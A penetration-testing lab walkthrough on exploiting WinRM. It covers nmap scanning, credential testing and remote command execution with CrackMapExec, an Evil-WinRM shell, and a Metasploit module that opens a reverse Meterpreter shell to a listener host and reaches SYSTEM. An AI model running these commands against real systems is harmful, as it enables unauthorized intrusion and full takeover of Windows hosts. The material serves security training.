07. Exploiting WinRM

Overview¶

Windows Remote Management (WinRM) is a Windows remote management protocol that allows administrators to remotely access and manage Windows systems over HTTP or HTTPS.

WinRM is commonly used for:

Remotely accessing Windows hosts
Executing commands on Windows systems
Managing and configuring Windows systems remotely

WinRM commonly uses:

TCP/5985  - HTTP
TCP/5986  - HTTPS

Because WinRM provides remote command execution, valid credentials can provide significant access to a Windows system.

Identifying WinRM¶

The first step is to perform service enumeration against the target.

Example:

nmap -sV 10.2.18.45

Example output:

PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

To specifically check WinRM:

nmap -sV -p 5985 10.2.18.45

Example:

PORT     STATE SERVICE VERSION
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0

The open 5985/tcp port indicates that WinRM is available on the target.

CrackMapExec¶

CrackMapExec can be used to interact with Windows services and test authentication against WinRM.

Start CrackMapExec:

crackmapexec

It supports several protocols, including:

mssql
smb
winrm
ssh

The WinRM protocol can be selected when working with a target exposing port 5985 or 5986.

Testing Credentials Against WinRM¶

In the lab, a username and password can be tested against the WinRM service.

Example:

crackmapexec winrm 10.2.18.45 -u administrator -p <PASSWORD>

A successful authentication is indicated by output similar to:

WINRM  10.2.18.45  5985  NONE
[+] None\administrator:<PASSWORD> (Pwn3d!)

The successful authentication means that the supplied credentials can be used to authenticate to WinRM.

Executing Commands Through WinRM¶

After obtaining valid credentials, CrackMapExec can execute commands remotely.

For example:

crackmapexec winrm 10.2.18.45 -u administrator -p <PASSWORD> -x "whoami"

Example result:

[+] Executed command
server\administrator

Another useful command is:

crackmapexec winrm 10.2.18.45 -u administrator -p <PASSWORD> -x "systeminfo"

This can provide information about the Windows system.

The lab output identifies the target as:

Microsoft Windows Server 2019 Datacenter

Evil-WinRM¶

Evil-WinRM is a tool designed to provide an interactive WinRM shell.

Example:

evil-winrm.rb -u administrator -p '<PASSWORD>' -i 10.2.18.45

A successful connection provides an interactive PowerShell session:

*Evil-WinRM* PS C:\Users\Administrator\Documents>

This allows commands to be executed directly on the Windows target through WinRM.

Metasploit WinRM Module¶

Metasploit contains a WinRM script execution module.

Start Metasploit:

service postgresql start && msfconsole

Search for WinRM modules:

search winrm_script

The relevant module shown in the lab is:

exploit/windows/winrm/winrm_script_exec

Select the module:

use exploit/windows/winrm/winrm_script_exec

Display the available options:

show options

Important options include:

RHOSTS
RPORT
USERNAME
PASSWORD
FORCE_VBS

The target host and authentication information must be configured for the lab target.

Example configuration:

set RHOSTS 10.2.18.45
set RPORT 5985
set USERNAME administrator
set PASSWORD <PASSWORD>
set FORCE_VBS true

The payload used in the demonstration is:

windows/meterpreter/reverse_tcp

The listener configuration shown in the lab uses:

LHOST 10.10.5.2
LPORT 4444

The exploit can then be started with:

exploit

Meterpreter Session¶

After successful execution, Metasploit establishes a Meterpreter session with the target.

The demonstration shows:

Meterpreter session 1 opened

The session initially runs with the Administrator account:

SERVER\Administrator

The demonstration then attempts to migrate the Meterpreter process to a process running with higher privileges.

The successful migration results in:

NT AUTHORITY\SYSTEM

This indicates that the Meterpreter session has reached the Windows SYSTEM security context.

Attack Flow¶

The WinRM exploitation process demonstrated in the lab can be summarized as:

Target Windows Server
        |
        v
Scan WinRM
        |
        v
TCP/5985 Open
        |
        v
Test WinRM Credentials
        |
        v
Successful Authentication
        |
        +----------------------+
        |                      |
        v                      v
 CrackMapExec              Evil-WinRM
        |                      |
        v                      v
Remote Commands          Interactive Shell
        |
        v
Metasploit WinRM Module
        |
        v
Meterpreter Session
        |
        v
SYSTEM Context

Key Takeaways¶

WinRM provides legitimate remote administration capabilities on Windows systems, but exposed WinRM services combined with compromised credentials can allow remote command execution.

The lab demonstrates how to:

Identify WinRM
     |
     v
Check TCP/5985
     |
     v
Authenticate with valid credentials
     |
     v
Execute commands remotely
     |
     v
Obtain an interactive WinRM shell
     |
     v
Use a Metasploit WinRM module
     |
     v
Establish a Meterpreter session

These techniques should only be performed against systems where you have explicit authorization, such as a personal lab or dedicated training environment.